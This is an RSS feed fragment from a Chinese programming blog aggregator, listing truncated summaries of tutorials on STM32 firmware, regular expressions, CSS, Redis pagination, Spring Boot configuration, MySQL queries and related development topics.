      <description>采用德飞莱STM32板，主控芯片STM32F103ZET6。&#xA;任务内容：利用按键B1控制指示灯LD2的闪烁频率，闪烁频率设置为3档：初始状态时，LD2按照2Hz的频率闪烁；第一次按键后，LD2按照10 Hz的频率闪烁；第二次按键后，LD2按照20Hz的频率闪烁。再次按键后让LD2恢复以2Hz的频率闪烁，并重复上述过程。按键的检测采用中断方式。&#xA;硬件原理：按键B1由引脚PC13控制：按键按下时为下降沿触发方式，释放时为上升沿触发方式。指示灯LD2由引脚PA5控制；PA5输出高电平,开启指示灯；PA5输出低电平，关闭指示灯。&#xA;任务实现&#xA;1. 设计思路&#xA;采用前后台编程模式：定义一个全局变量BlinkSpeed，初始化为0。在外部中断服务程序（前台程序）中修改BlinkSpeed的值；在主程序（后台程序）的while(1)循环中不断检测BlinkSpeed的值，根据取值的不同修改指示灯的闪烁频率。&#xA;2. 引脚分配和外设配置&#xA;本任务所使用的引脚和外设与基础任务中所使用的相同，因此省去引脚分配和外设配置的过程。&#xA;1.&#xA;双击进入&#xA;2.&#xA;3.&#xA;4.配置LED灯引脚（PB5）&#xA;5. 配置KEY键引脚（PE2）&#xA;配置上拉、上升沿和下降沿&#xA;使能中断&#xA;6.配置时钟树&#xA;7.改名、保存、打开&#xA;3. 程序编写&#xA;生成MDK工程后，进行应用程序的编写。具体代码如程序代码段1和2所示。&#xA;代码段1：&#xA;/* USER CODE BEGIN PV */ volatile uint8_t BlinkSpeed = 0;// 指示灯闪烁频率:0-&amp;gt;2Hz 1-&amp;gt;10Hz 2-&amp;gt;20Hz /* USER CODE END PV */ /* ………………………… */ // 省去中间部分代码 /* Infinite loop */ /* USER CODE BEGIN WHILE */ while (1) { /* USER CODE END WHILE */ /* USER CODE BEGIN 3 */ if( BlinkSpeed == 0) // 2Hz 闪烁频率 { HAL_GPIO_TogglePin(GPIOB,GPIO_PIN_5); HAL_Delay(500); } else if( BlinkSpeed == 1 ) // 10Hz 闪烁频率 { HAL_GPIO_TogglePin(GPIOB,GPIO_PIN_5); HAL_Delay(100); } else&#x9;// 20Hz 闪烁频率 { HAL_GPIO_TogglePin(GPIOB,GPIO_PIN_5); HAL_Delay(50); } } /* USER CODE END 3 */ 程序解释：</description>
    </item>
    <item>
      <title>**省**市正则</title>
      <link>https://bchobby.github.io/posts/a9f4877038736a8948ea202bf684a192/</link>
      <pubDate>Sun, 08 Jan 2023 18:56:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9f4877038736a8948ea202bf684a192/</guid>
      <description>省市正则表达式是指用于匹配中国省市的正则表达式。&#xA;例如，可以使用正则表达式来匹配中国的省份和城市，如北京市，上海市等。&#xA;一个简单的省市正则表达式可能是这样的：&#xA;[\u4e00-\u9fa5]{2,4}(?:省|市) 这个正则表达式可以匹配中文名称为 2 到 4 个字的省或市。</description>
    </item>
    <item>
      <title>CSS 奇技淫巧Box-shadow实现圆环进度条</title>
      <link>https://bchobby.github.io/posts/7d76c66345f1bfe47e39bea590048d15/</link>
      <pubDate>Sun, 08 Jan 2023 17:38:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d76c66345f1bfe47e39bea590048d15/</guid>
      <description>CSS 奇技淫巧Box-shadow实现圆环进度条 文章目录 CSS 奇技淫巧Box-shadow实现圆环进度条一、Box-shadow圆环进度条二、效果预览三、原理刨析四、实际应用五、总结六、参考资料💘七、推荐博文🍗 一、Box-shadow圆环进度条 实现圆环进度条的方法用很多种，比较容易想到的可能是通过 border属性实现，在本文将使用 Box-shadow盒子阴影呈现，一般来说还真的难想到这个方法，说这种方法是一个奇技淫巧也不为过，让我们接着来看。&#xA;二、效果预览 &amp;lt;div class=&#34;container&#34;&amp;gt; &amp;lt;div class=&#34;ring-wrap&#34;&amp;gt; &amp;lt;div class=&#34;ring&#34;&amp;gt;Hover&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; $borderColor: #ff5d8f; // 设置阴影 @function setShadow($x: 0, $y: 0, $fuzzy: 0, $spread: 0, $color: $borderColor) { @return #{$x}px #{$y}px #{$fuzzy}px #{$spread}px $color; } .container { display: flex; background-color: #6C6C6C; height: 500px; } .ring-wrap { display: flex; overflow: hidden; width: 156px; height: 156px; margin: auto; border-radius: 50%; .ring { // 宽高需要预留边框大小 width: 150px; height: 150px; line-height: 150px; margin: auto; border-radius: 50%; font-size: 25px; text-align: center; color: #fff; box-shadow: setShadow(75, -75, $color: transparent), setShadow(-75, -75), setShadow(75, -75), setShadow(-75, 75), setShadow(75, 75); background-color: #2894FF; cursor: pointer; &amp;amp;:hover { animation: ring-border 2s ease-in-out forwards; } } } @keyframes ring-border { 0% { box-shadow: setShadow(75, -75, $color: transparent), setShadow(-75, -75), setShadow(75, -75), setShadow(-75, 75), setShadow(75, 75), setShadow($spread: 3, $color: transparent); } 25% { box-shadow: setShadow(75, -75, $color: transparent), setShadow(-75, -75), setShadow(0, -160), setShadow(-75, 75), setShadow(75, 75), setShadow($spread: 3, $color: #FFF); } 50% { box-shadow: setShadow(75, -75, $color: transparent), setShadow(-160, 0), setShadow(0, -160), setShadow(-75, 75), setShadow(75, 75), setShadow($spread: 3, $color: #FFF); } 75% { box-shadow: setShadow(75, -75, $color: #fff), setShadow(-160, 0), setShadow(0, -160), setShadow(0, 160), setShadow(75, 75), setShadow($spread: 3, $color: #FFF); } 100% { box-shadow: setShadow(75, -75, $color: #fff), setShadow(-160, 0), setShadow(0, -160), setShadow(0, 160), setShadow(160, 0), setShadow($spread: 3, $color: #FFF); } } 三、原理刨析 原理很简单，最重要的是控制阴影按照顺序延时移动，除此之外，还需要一层父元素使用 overflow：hidden 对额外的阴影进行隐藏，父子宽度高不能一致，需要留足阴影填充边框的间隙。</description>
    </item>
    <item>
      <title>程序员退休后可以干什么工作</title>
      <link>https://bchobby.github.io/posts/ec693fe7a97e62af0979c7b1f6c785f9/</link>
      <pubDate>Sun, 08 Jan 2023 17:21:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec693fe7a97e62af0979c7b1f6c785f9/</guid>
      <description>程序员退休后有很多工作可以做，比如：&#xA;继续从事编程工作，可以为公司或个人提供咨询服务。当讲师或培训师，教授新一代程序员。在自己的公司中担任项目经理或技术顾问。将专业技能转化到其他行业，例如数据分析或人工智能。 总的来说，程序员退休后有很多机会继续使用自己的技能，并在新的领域有所发挥。</description>
    </item>
    <item>
      <title>VS2019QT添加模块</title>
      <link>https://bchobby.github.io/posts/1288365ee0b98b64b7745872969f3346/</link>
      <pubDate>Sun, 08 Jan 2023 13:38:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1288365ee0b98b64b7745872969f3346/</guid>
      <description>QT vs tools -&amp;gt; qt project setting -&amp;gt; 配置属性 -&amp;gt; qt project setting；字符串加分号形式添加对应模块。</description>
    </item>
    <item>
      <title>C语言经典编程题 --- 打印菱形</title>
      <link>https://bchobby.github.io/posts/e41566a1722483a57753e7f9e559c851/</link>
      <pubDate>Sun, 08 Jan 2023 11:40:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e41566a1722483a57753e7f9e559c851/</guid>
      <description>目录&#xA;一、题目描述&#xA;二、普通解法&#xA;三、曼哈顿距离解法&#xA;一、题目描述 输入一个奇数 n，输出一个由 * 构成的 n 阶实心菱形&#xA;输入格式：一个奇数 n。&#xA;输出格式：输出一个由 * 构成的 n 阶实心菱形。&#xA;输入样例：5 输出样例： * *** ***** *** * 二、普通解法 思路：若要打印第一星，首先就要先打印前6个空格，下面部分也是如此。所以，为了方便打印，我们可以分成上半部分和下半部分，上半部分空格个数由多变少，星个数由少变多；下半部分空格个数逐渐变多，星星个数逐渐变少。&#xA;因此假设n = 13，下半部分就是6行，和n的关系也就是n / 2，则上半部分就是 n - 下半部分。然后通过循环来遍历空格和星号就可以了。&#xA;对于上半部分的代码如下：&#xA;解析都在代码里了&#xA;#include &amp;lt;stdio.h&amp;gt; int main() { int n = 0; //输入一个奇数 scanf(&#34;%d&#34;, &amp;amp;n); int down = n / 2; //上半部分的行数 int up = n - down; //下半部分的行数 //打印上半部分 for (int i = 0; i &amp;lt; up; i++) //控制行 { //打印空格 //通过规律可以发现是up - 1 - i for (int j = 0; j &amp;lt; up - 1 - i; j++) { printf(&#34;</description>
    </item>
    <item>
      <title>YOLOv5的介绍</title>
      <link>https://bchobby.github.io/posts/dd28f05b32ccd9cff1b318dda6d6fdd7/</link>
      <pubDate>Sun, 08 Jan 2023 10:48:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd28f05b32ccd9cff1b318dda6d6fdd7/</guid>
      <description>YOLOv5(You Only Look Once version 5)是一种目标检测模型，用于在视频或图像中识别和定位物体。它是YOLO(You Only Look Once)算法的最新版本，在YOLOv4的基础上进行了改进。&#xA;YOLOv5是一种端到端的深度学习模型，可以直接从原始图像中检测和定位目标。它使用卷积神经网络(CNN)来学习图像中物体的特征，并使用多尺度预测和网格分割来检测和定位目标。YOLOv5的优势在于它可以在高速运行，并且可以在不同的图像分辨率上很好地工作。&#xA;总的来说，YOLOv5是一种高效的目标检测模型，可以应用于许多不同的场景，包括自动驾驶，机器人感知，图像分析等。</description>
    </item>
    <item>
      <title>xshell连接Linux一直失败解决方法</title>
      <link>https://bchobby.github.io/posts/d7d4550e75bcfe4db8866c522bb7a625/</link>
      <pubDate>Sat, 07 Jan 2023 22:02:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7d4550e75bcfe4db8866c522bb7a625/</guid>
      <description>文章目录 解决对象方法配置防火墙关闭Linux防火墙关闭Windows防火墙 xshell连接Linux一直失败解决方法&#xA;解决对象 可能出现以下两个问题：&#xA;Linux防火墙已关闭和Windows防火墙已经关闭配置好 vim /etc/sysconfig/network-scripts/ifcfg-ens33 方法 配置 这个是最容易出错的，博主就是在这一步出现了错误&#xA;1.在Linux下输入 vim /etc/sysconfig/network-scripts/ifcfg-ens33&#xA;TYPE=&#34;Ethernet&#34; #网络类型（通常是Ethemet） PROXY_METHOD=&#34;none&#34; BROWSER_ONLY=&#34;no&#34; BOOTPROTO=&#34;static&#34; #IP的配置方法[none|static|bootp|dhcp]（引导时不 使用协议|静态分配IP|BOOTP协议|DHCP协议） DEFROUTE=&#34;yes&#34; IPV4_FAILURE_FATAL=&#34;no&#34; IPV6INIT=&#34;yes&#34; IPV6_AUTOCONF=&#34;yes&#34; IPV6_DEFROUTE=&#34;yes&#34; IPV6_FAILURE_FATAL=&#34;no&#34; IPV6_ADDR_GEN_MODE=&#34;stable-privacy&#34; NAME=&#34;ens33&#34; UUID=&#34;e83804c1-3257-4584-81bb-660665ac22f6&#34; #随机id DEVICE=&#34;ens33&#34; #接口名（设备,网卡） ONBOOT=&#34;yes&#34; #系统启动的时候网络接口是否有效（yes/no） #IP地址 IPADDR=192.168.132.100 #这个ip地址可以自己设置，但必须和自己的网关在同一个频道上（即除倒数第一个小数点后面的数字可以不同，其他的都要相同） #网关 GATEWAY=192.168.132.2 #域名解析器 DNS1=192.168.132.2 编辑完后，按键盘esc ，然后输入 :wq 回车即可。&#xA;重点：这个ip地址可以自己设置，但必须和自己的网关在同一个频道上（即除倒数第一个小数点后面的数字可以不同，其他的都要相同）&#xA;配置好后要输入service network restart 重启网络 ，这时候输入ifconfig查看，就可以发现自己的ip地址已经改变了 防火墙 关闭Linux防火墙 停止防火墙服务&#xA;systemctl stop firewalld 设置开机时关闭防火墙&#xA;输入systemctl disable firewalld&#xA;判读防火墙是否自动启动&#xA;systemctl is-enabled firewalld 关闭Windows防火墙 在Windows下方搜索栏下搜索控制面板，点击系统和安全&#xA;点击防火墙</description>
    </item>
    <item>
      <title>利用redis ZSet 有序集合实现可靠滚动分页</title>
      <link>https://bchobby.github.io/posts/a0a4223f7d35b7a538b165422da32f17/</link>
      <pubDate>Sat, 07 Jan 2023 20:57:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a0a4223f7d35b7a538b165422da32f17/</guid>
      <description>利用redis ZSet 有序集合实现可靠滚动分页 即在有新的数据插入分页查询不会查询重复或者遗漏数据&#xA;传统的分页 前端参数一般传入当前页数curpage和页面长度paegsize 最终通过数据库limit curpage*(pageszie-1),pageszie 实现分页 假设两参数分别为1，5 即 limit 0,5 也就是查询序号0到4的5条数据 这时如果数据库新增了一条数据其序号为1。&#xA;如果查询下一页即limit 5,5 查询序号为5 到9的数据&#xA;如图所示，很显然值为四的数据被重复查了。 查了下比较流行的做法就是新增一个字段，记录数据插入的时间。 然后查寻第一页的时候记录当前时间，之后每次分页查询都需要带上这个时间 把比这个时间大的数据排除。该方案挺不错，但是要修改数据库，费事.&#xA;我的方案是借助redis 的有序集合 ，每次插入数据库成功时，额外保存一份&amp;lt;数据id,插入时间&amp;gt;到redis的有序集合里 。这时就可以通过插入时间分页了。第一次查询返回按时间排序前1到5的数据， 然后记录当前的时间6 。 之后的查询带上这个时间。 返回从 比这个时间小的第一个数据（即为5）和其后的四条数据。&#xA;。如图：&#xA;时间戳&#xA;10&#xA;9&#xA;8&#xA;7&#xA;6&#xA;5&#xA;4&#xA;3&#xA;2&#xA;1&#xA;值&#xA;10&#xA;9&#xA;8&#xA;7&#xA;6&#xA;5&#xA;4&#xA;3&#xA;2&#xA;1&#xA;第一页&#xA;时间戳&#xA;11&#xA;10&#xA;9&#xA;8&#xA;7&#xA;6&#xA;5&#xA;4&#xA;3&#xA;2&#xA;1&#xA;值</description>
    </item>
    <item>
      <title>【python学习】用正则表达式匹配查找文本</title>
      <link>https://bchobby.github.io/posts/d09eec9af3b9f8006e780c496ca1a311/</link>
      <pubDate>Sat, 07 Jan 2023 19:51:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d09eec9af3b9f8006e780c496ca1a311/</guid>
      <description>学习自书本《Python编程快速上手——让繁琐工作自动化》&#xA;正则表达式 #正则表达式 import re aRegex=re.compile(&#39;\d\d\d-\d\d\d-\d\d\d\d&#39;) mo=aRegex.search(&#39;我的电话号码是：123-456-7890&#39;) print(&#39;找到句子中的匹配内容为：&#39;,mo.group()) 输出结果：&#xA;找到句子中的匹配内容为： 123-456-7890 利用括号分组 #利用括号分组 import re aRegex=re.compile(r&#39;(\d\d\d)-(\d\d\d-\d\d\d\d)&#39;) mo=aRegex.search(&#39;我的电话号码是：123-456-7890&#39;) print(&#39;mo.group()&#39;,mo.group()) print(&#39;mo.group(0)&#39;,mo.group(0)) print(&#39;mo.group(1)&#39;,mo.group(1)) print(&#39;mo.group(2)&#39;,mo.group(2)) print(&#39;mo.groups()&#39;,mo.groups()) areaCode,mainNumber=mo.groups() print(&#39;areaCode是{},mainNumber是{}&#39;.format(areaCode,mainNumber)) #如果需要在文本中匹配括号，需要用倒斜杠对左右括号进行字符转义 aRegex2=re.compile(r&#39;(\(\d\d\d\))(\d\d\d-\d\d\d\d)&#39;) mo2=aRegex2.search(&#39;我的电话号码是：(123)456-7890&#39;) print(&#39;mo2.group(1)&#39;,mo2.group(1)) print(&#39;mo2.group(2)&#39;,mo2.group(2)) 输出结果：&#xA;mo.group() 123-456-7890 mo.group(0) 123-456-7890 mo.group(1) 123 mo.group(2) 456-7890 mo.groups() (&#39;123&#39;, &#39;456-7890&#39;) areaCode是123,mainNumber是456-7890 mo2.group(1) (123) mo2.group(2) 456-7890 用管道匹配多个分组 #用管道匹配多个分组 import re bRegex=re.compile(r&#39;zhangsan|li si&#39;) mo1=bRegex.search(&#39;zhangsan and li si&#39;) #第一次出现的匹配对象将被返回 print(&#39;mo1.group()&#39;,mo1.group()) cRegex=re.compile(r&#39;zhang(san|si|wu)&#39;) mo2=cRegex.search(&#39;zhangsan and zhangsi&#39;) print(&#39;mo2.group()&#39;,mo2.group()) print(&#39;mo2.group(1)&#39;,mo2.group(1)) 输出结果：&#xA;mo1.group() zhangsan mo2.group() zhangsan mo2.</description>
    </item>
    <item>
      <title>动态数据源切换</title>
      <link>https://bchobby.github.io/posts/06f758f996ad936d00c816a69456c6ab/</link>
      <pubDate>Sat, 07 Jan 2023 15:41:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06f758f996ad936d00c816a69456c6ab/</guid>
      <description>通过一个注解实现动态数据源切换&#xA;将要用的数据源名字，记录在threadLocal中通过AbstractRoutingDataSource，重写方法，将threadLocal中的数据源名字设置进去 。（当这个系统需要获取数据源的时候，会自动调用AbstractRoutingDataSource中的determineCurrentLookupKey()方法，获取要用的数据源名字）aop拦截注解网页上，传递你要使用的数据源名字，aop拦截修改threaLocal中的值多个aop调用顺序 // 创建DruidDataSource DruidDataSourceFactory.createDataSource() // 查找方法，类上的注解 AnnotationUtils.findAnnotation(); // @ConfigurationProperties @EnableConfigurationProperties 依赖&#xA;aop+druid+mysql+mybatis+web&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;druid-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.2.9&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-aop&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.mybatis.spring.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.2.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;runtime&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; 配置文件&#xA;# 数据源配置 spring: datasource: type: com.alibaba.druid.pool.DruidDataSource driverClassName: com.mysql.cj.jdbc.Driver ds: # 主库数据源 master: url: jdbc:mysql://localhost:3306/test09?useUnicode=true&amp;amp;characterEncoding=utf8&amp;amp;zeroDateTimeBehavior=convertToNull&amp;amp;useSSL=true&amp;amp;serverTimezone=GMT%2B8 username: root password: root # 从库数据源 slave: # 从数据源开关/默认关闭 enabled: false url: jdbc:mysql://localhost:3306/test08?useUnicode=true&amp;amp;characterEncoding=utf8&amp;amp;zeroDateTimeBehavior=convertToNull&amp;amp;useSSL=true&amp;amp;serverTimezone=GMT%2B8 username: root password: root # 初始连接数 initialSize: 5 # 最小连接池数量 minIdle: 10 # 最大连接池数量 maxActive: 20 # 配置获取连接等待超时的时间 maxWait: 60000 # 配置间隔多久才进行一次检测，检测需要关闭的空闲连接，单位是毫秒 timeBetweenEvictionRunsMillis: 60000 # 配置一个连接在池中最小生存的时间，单位是毫秒 minEvictableIdleTimeMillis: 300000 # 配置一个连接在池中最大生存的时间，单位是毫秒 maxEvictableIdleTimeMillis: 900000 实体类+service+mapper</description>
    </item>
    <item>
      <title>mysql多表查询30个经典案例</title>
      <link>https://bchobby.github.io/posts/8c7c7e53ca953b20d8523d3f73e32c89/</link>
      <pubDate>Sat, 07 Jan 2023 12:49:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c7c7e53ca953b20d8523d3f73e32c89/</guid>
      <description>mysql多表查询30个经典案例 插入两张表一个dept一个emp插入dept表数据插入emp表数据1.列出每个部门里面有那些员工及部门名称;2.运维部门的收入总和；3.HR部入职员工的员工号4.财务部门收入超过5000元的员工姓名5.找出销售部收入最低的员工的入职时间；6.找出年龄小于平均年龄的员工的姓名，ID和部门名称7.列出每个部门收入总和高于10000的部门名称8.查出财务部门工资少于10000元的员工姓名9.求财务部门最低工资的员工姓名；10.找出运维部门中年纪最大的员工的姓名11.求收入最低的员工姓名及所属部门名称：12.求雷蕾的收入及部门名称13.求员工收入小于8000元的员工部门编号名字及其部门名称；14.列出每个部门中收入最高的员工姓名，部门名称，收入，并按照收入降序；15.求出运维部门收益最高的俩位员工的姓名，工号，收益16.查询运维部低于平均收入的员工号与员工姓名：17.列出部门员工数大于1个的部门名称；18.列出部门员工收入不超过10000，且大于5000的员工年纪及部门编号；19.求入职于2022年的员工所属部门名称；20.查找haiwu所在的部门名称；21.列出每一个部门中年纪最小的员工姓名，部门名称；22.列出每一个部门的员工总收入及部门名称；23.列出部门员工收入大于6000的员工号，部门名称；24.找出哪个部门还没有员工入职；25.先按部门号大小排序，再依据入职时间由早到晚排序员工信息表 ；26.找出运维部门收入大于7500,显示他们的ID和姓名和年纪；27.找出入职于2022年以前的员工，且显示他们的姓名和入职时间，按照先后循序进行排序展示28.找出入职于2022年1月以后的员工，并显示年龄，姓名，收入29.查找收入大于8000元以上的人的姓名和收入30.统计各个部门的收入总和并按照从大到小方式排序进行显示 插入两张表一个dept create table `dept`( `dept1` VARCHAR(10), `dept_name` VARCHAR(20) ) 一个emp create table `emp`( `id` varchar(10), `name` VARCHAR(25), `age` VARCHAR(10), `worktime` VARCHAR(10), `dept2` varchar(10), `incoming` int(10) ) 插入dept表数据 插入emp表数据 insert into emp (id,name,age,worktime,incoming,dept2) VALUES (1500,&#39;wangyi&#39;,25,&#39;2022/2/1&#39;,8900,101),(1501,&#39;hufei&#39;,27,&#39;2022/3/1&#39;,7500,102),(1502,&#39;heisen&#39;,30,&#39;2022/3/20&#39;,8900,102),(1503,&#39;huahudie&#39;,25,&#39;2022/8/9&#39;,9000,102),(1504,&#39;baimu&#39;,25,&#39;2022/01/01&#39;,4000,103),(1505,&#39;leilei&#39;,27,&#39;2016/05/09&#39;,27800,106),(1506,&#39;liuxiaoyi&#39;,28,&#39;2017/05/09&#39;,16000,105),(1507,&#39;haiwu&#39;,27,&#39;2018/09/06&#39;,6300,104) 1.列出每个部门里面有那些员工及部门名称; SELECT name,dept_name from dept left JOIN emp on dept.dept1 = emp.dept2&#xA;2.运维部门的收入总和； SELECT sum(incoming),dept_name from emp RIGHT JOIN dept ON emp.dept2 = dept.dept1 where dept_name=‘yunwei’&#xA;3.HR部入职员工的员工号 SELECT dept_name,id from emp RIGHT JOIN dept on emp.</description>
    </item>
    <item>
      <title>springboot项目配置动态注入与springboot读取docker环境变量</title>
      <link>https://bchobby.github.io/posts/c7ab24a8fa42222fbcc8e6405a97bb8f/</link>
      <pubDate>Sat, 07 Jan 2023 11:57:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7ab24a8fa42222fbcc8e6405a97bb8f/</guid>
      <description>前言 最近在看《Kubernetes权威指南》这本书，书的第一章是部署一个mysql+tomcat的简单项目，要先部署mysql 实例然后创建mysql的svc，创建了svc时才会分配一个ip，因为打包的时候不知道这个ip所以tomcat项目要根据约定读取env环境变量才行，跟着书上的例子部署成功了，但是我实在没搞明白这个tomcat的项目是怎么读取env环境变量的？如果在springboot项目中又该怎么读取？基于这两个问题我又想到了两个新的问题：1.springboot怎么配置信息动态注入？2.docker怎么在镜像启动的时候注入env环境变量？带着这些问题我开始探索实验并把结果以及常用的命令记录下。&#xA;并没有对springboot的源代码做深入研究，只是探索实用功能。&#xA;springboot动态注入配置信息。 这是一个很简单的问题，但是我不擅长记命令，只是知道实用jar -jar 启动springboot项目的时候添加几个参数，具体的参数我是一个记不住，也不知道这些命令是怎么配置的，这里就简单整理一下。&#xA;springboot的配置优先级 默认配置 &amp;lt;配置文件 &amp;lt;命令配置&#xA;1、设置数据库连接地址url为空打包。 #这里是数据库配置 数据库的连接地址 现在我把url设置为空然后打包jar spring: datasource: #数据源基本配置 username: root password: jishuzhai driver-class-name: com.mysql.cj.jdbc.Driver url: type: com.alibaba.druid.pool.DruidDataSource 2、测试启动。 java -jar brief-plus_oa.jar #尝试启动应用 会报以下错误 #Failed to configure a DataSource: &#39;url&#39; attribute is not specified and no embedded datasource could be configured. 3、注入参数启动。 java -jar -Dspring.datasource.url=&#34;jdbc:mysql://127.0.0.1:3306/brief_min?zeroDateTimeBehavior=convertToNull&amp;amp;serverTimezone=Asia/Shanghai&amp;amp;allowMultiQueries=true&amp;amp;useUnicode=true&amp;amp;characterEncoding=utf-8&#34; brief-plus_oa.jar #启动项目成功 注意这里的spring.datasource.url 要和配置文件里面的字段一致 4、自定义注入参数字段。 整个url字段全部注入现在太难输入了，整个url只有ip地址是变化的这里可以简化一下看下面配置:&#xA;brief: mysql: host: #自定义的参数 spring: datasource: #数据源基本配置 username: root password: jishuzhai driver-class-name: com.</description>
    </item>
    <item>
      <title>【STM32学习5】STM32使用printf函数 打印到电脑串口助手</title>
      <link>https://bchobby.github.io/posts/35d65f8d5a86eda09e7e61c8ffbaef1b/</link>
      <pubDate>Sat, 07 Jan 2023 11:37:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/35d65f8d5a86eda09e7e61c8ffbaef1b/</guid>
      <description>本文所使用的方法与代码参考自正点原子，如果想要详细了解这方面的知识，请阅读正点原子官方提供的文档。&#xA;一、背景 在开发STM32应用时，将一些信息通过串口打印到电脑上是常用的调试手段。C语言标准库中的printf函数是我们常用的打印函数。但是在STM32应用下一般无法直接使用这个函数，正点原子给出的解释如下，有兴趣可以详细了解一下。&#xA;标准库下的 printf 为调试属性的函数，如果直接使用，会使单片机进入半主机模式（semihosting），这是一种调试模式，直接下载代码后出现程序无法运行，但是在连接调试器进行 Debug 时程序反而能正常工作的情况。半主机是 ARM 目标的一种机制，用于将输入/输出请求从应用程序代码通信到运行调试器的主机。例如，此机制可用于允许 C 库中的函数（如 printf()和 scanf()）使用主机的屏幕和键盘，而不是在目标系统上设置屏幕和键盘。这很有用，因为开发硬件通常不具有最终系统的所有输入和输出设备，如屏幕、键盘等。半主机是通过一组定义好的软件指令（如 SVC）SVC 指令（以前称为 SWI 指令）来实现的，这些指令通过程序控制生成异常。应用程序调用相应的半主机调用，然后调试代理处理该异常。调试代理（这里的调试代理是仿真器）提供与主机之间的必需通信。也就是说使用半主机模式必须使用仿真器调试。&#xA;如果想在独立环境下运行调试功能的函数，我们这里是 printf，printf 对字符 ch 处理后写入文件 f，最后使用 fputc 将文件 f 输出到显示设备。对于 PC 端的设备，fputc 通过复杂的源码，最终把字符显示到屏幕上。那我们需要做的，就是把 printf 调用的 fputc 函数重新实现，重定向fputc 的输出，同时避免进入半主模式。&#xA;目前想要在SMT32上使用printf有两种方法：&#xA;通过代码取消ARM的半主机工作模式，并重定向printf函数使用微库MicroLib，并重定向printf函数。 由于微库裁剪了许多标准库的功能，如果注重功能完整性建议使用第一种方法。&#xA;二、取消ARM的半主机工作模式 添加stdio.h头文件，并在程序中加入以下代码段即可（代码引自正点原子）&#xA;/******************************************************************************************/ /* 在合适的位置引用下面头文件 */ #include &amp;lt;stdio.h&amp;gt; /* 加入以下代码, 支持printf函数, 而不需要选择use MicroLIB */ #if 1 #if (__ARMCC_VERSION &amp;gt;= 6010050) /* 使用AC6编译器时 */ __asm(&#34;.global __use_no_semihosting\n\t&#34;); /* 声明不使用半主机模式 */ __asm(&#34;.global __ARM_use_no_argv \n\t&#34;</description>
    </item>
    <item>
      <title>拥抱 Spring 全新 OAuth 解决方案：spring-authorization-server 该怎么玩？</title>
      <link>https://bchobby.github.io/posts/e3a66c5baff02811b0bfc2242a970525/</link>
      <pubDate>Sat, 07 Jan 2023 10:45:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3a66c5baff02811b0bfc2242a970525/</guid>
      <description>点击关注公众号，实用技术文章及时了解&#xA;前言 为什么使用spring-authorization-server？ 真实原因：原先是因为个人原因，需要研究新版鉴权服务，看到了spring-authorization-server，使用过程中，想着能不能整合新版本cloud，因此此处先以springboot搭建spring-authorization-server，后续再替换为springcloud2021。&#xA;官方原因：原先使用Spring Security OAuth，而该项目已经逐渐被淘汰，虽然网上还是有不少该方案，但秉着技术要随时代更新，从而使用spring-authorization-server&#xA;Spring 团队正式宣布 Spring Security OAuth 停止维护，该项目将不会再进行任何的迭代&#xA;项目构建 以springboot搭建spring-authorization-server（即认证与资源服务器） 数据库相关表结构构建 需要创建3张表，sql分别如下&#xA;CREATE TABLE `oauth2_authorization` ( `id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `registered_client_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `principal_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `authorization_grant_type` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `attributes` varchar(4000) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, `state` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, `authorization_code_value` blob NULL, `authorization_code_issued_at` timestamp(0) NULL DEFAULT NULL, `authorization_code_expires_at` timestamp(0) NULL DEFAULT NULL, `authorization_code_metadata` varchar(2000) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, `access_token_value` blob NULL, `access_token_issued_at` timestamp(0) NULL DEFAULT NULL, `access_token_expires_at` timestamp(0) NULL DEFAULT NULL, `access_token_metadata` varchar(2000) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, `access_token_type` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, 